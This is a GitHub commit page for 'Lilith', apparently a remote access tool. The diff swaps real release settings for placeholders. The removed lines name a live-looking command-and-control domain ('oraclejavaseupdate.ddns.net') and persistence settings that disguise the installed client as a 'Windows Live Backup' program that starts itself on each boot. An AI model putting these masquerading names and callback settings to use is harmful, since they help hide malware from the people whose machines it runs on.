Skip to content

Commit

Permalink
Changed the default settings
Browse files Browse the repository at this point in the history
  • Loading branch information
werkamsus committed Jun 27, 2017
1 parent 28cafc9 commit 02582be
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 8 deletions.
12 changes: 6 additions & 6 deletions Lilith/settings.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

#if _DEBUG
std::string Settings::serverIP = "127.0.0.1"; //server ip
int Settings::serverPort = 1111; //server port
int Settings::serverPort = 1337; //server port

std::string Settings::fileName = "lilithDEBUG.exe"; //file name
std::string Settings::folderName = "lilithDEBUG folder"; //name of folder where file is located
Expand All @@ -17,12 +17,12 @@ bool Settings::logEvents = true;

#else

std::string Settings::serverIP = "oraclejavaseupdate.ddns.net"; /*windistupdate.ddns.net*/ //server ip
int Settings::serverPort = 47128; //server port
std::string Settings::serverIP = "sample.ip.net"; /*windistupdate.ddns.net*/ //server ip
int Settings::serverPort = 1337; //server port

std::string Settings::fileName = "winliveback.exe"; //file name
std::string Settings::folderName = "Windows Live"; //name of folder where file is located
std::string Settings::startupName = "Windows Live Backup"; //startup name in registry / taskmgr
std::string Settings::fileName = "lilithRELEASE.exe"; //file name
std::string Settings::folderName = "lilithRELEASE folder"; //name of folder where file is located
std::string Settings::startupName = "lilithRELEASE startup"; //startup name in registry / taskmgr
std::string Settings::logFileName = "log.txt"; //name of log file
std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc)
bool Settings::installSelf = true; //specifies whether the program should install itself
Expand Down
4 changes: 2 additions & 2 deletions Server/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,9 @@
int main()
{
#if _DEBUG
Server MyServer(1111, true);
Server MyServer(1337, true);
#else
Server MyServer(47128, true);
Server MyServer(1337, true);
#endif
MyServer.ListenForNewConnection();

Expand Down

0 comments on commit 02582be

Please sign in to comment.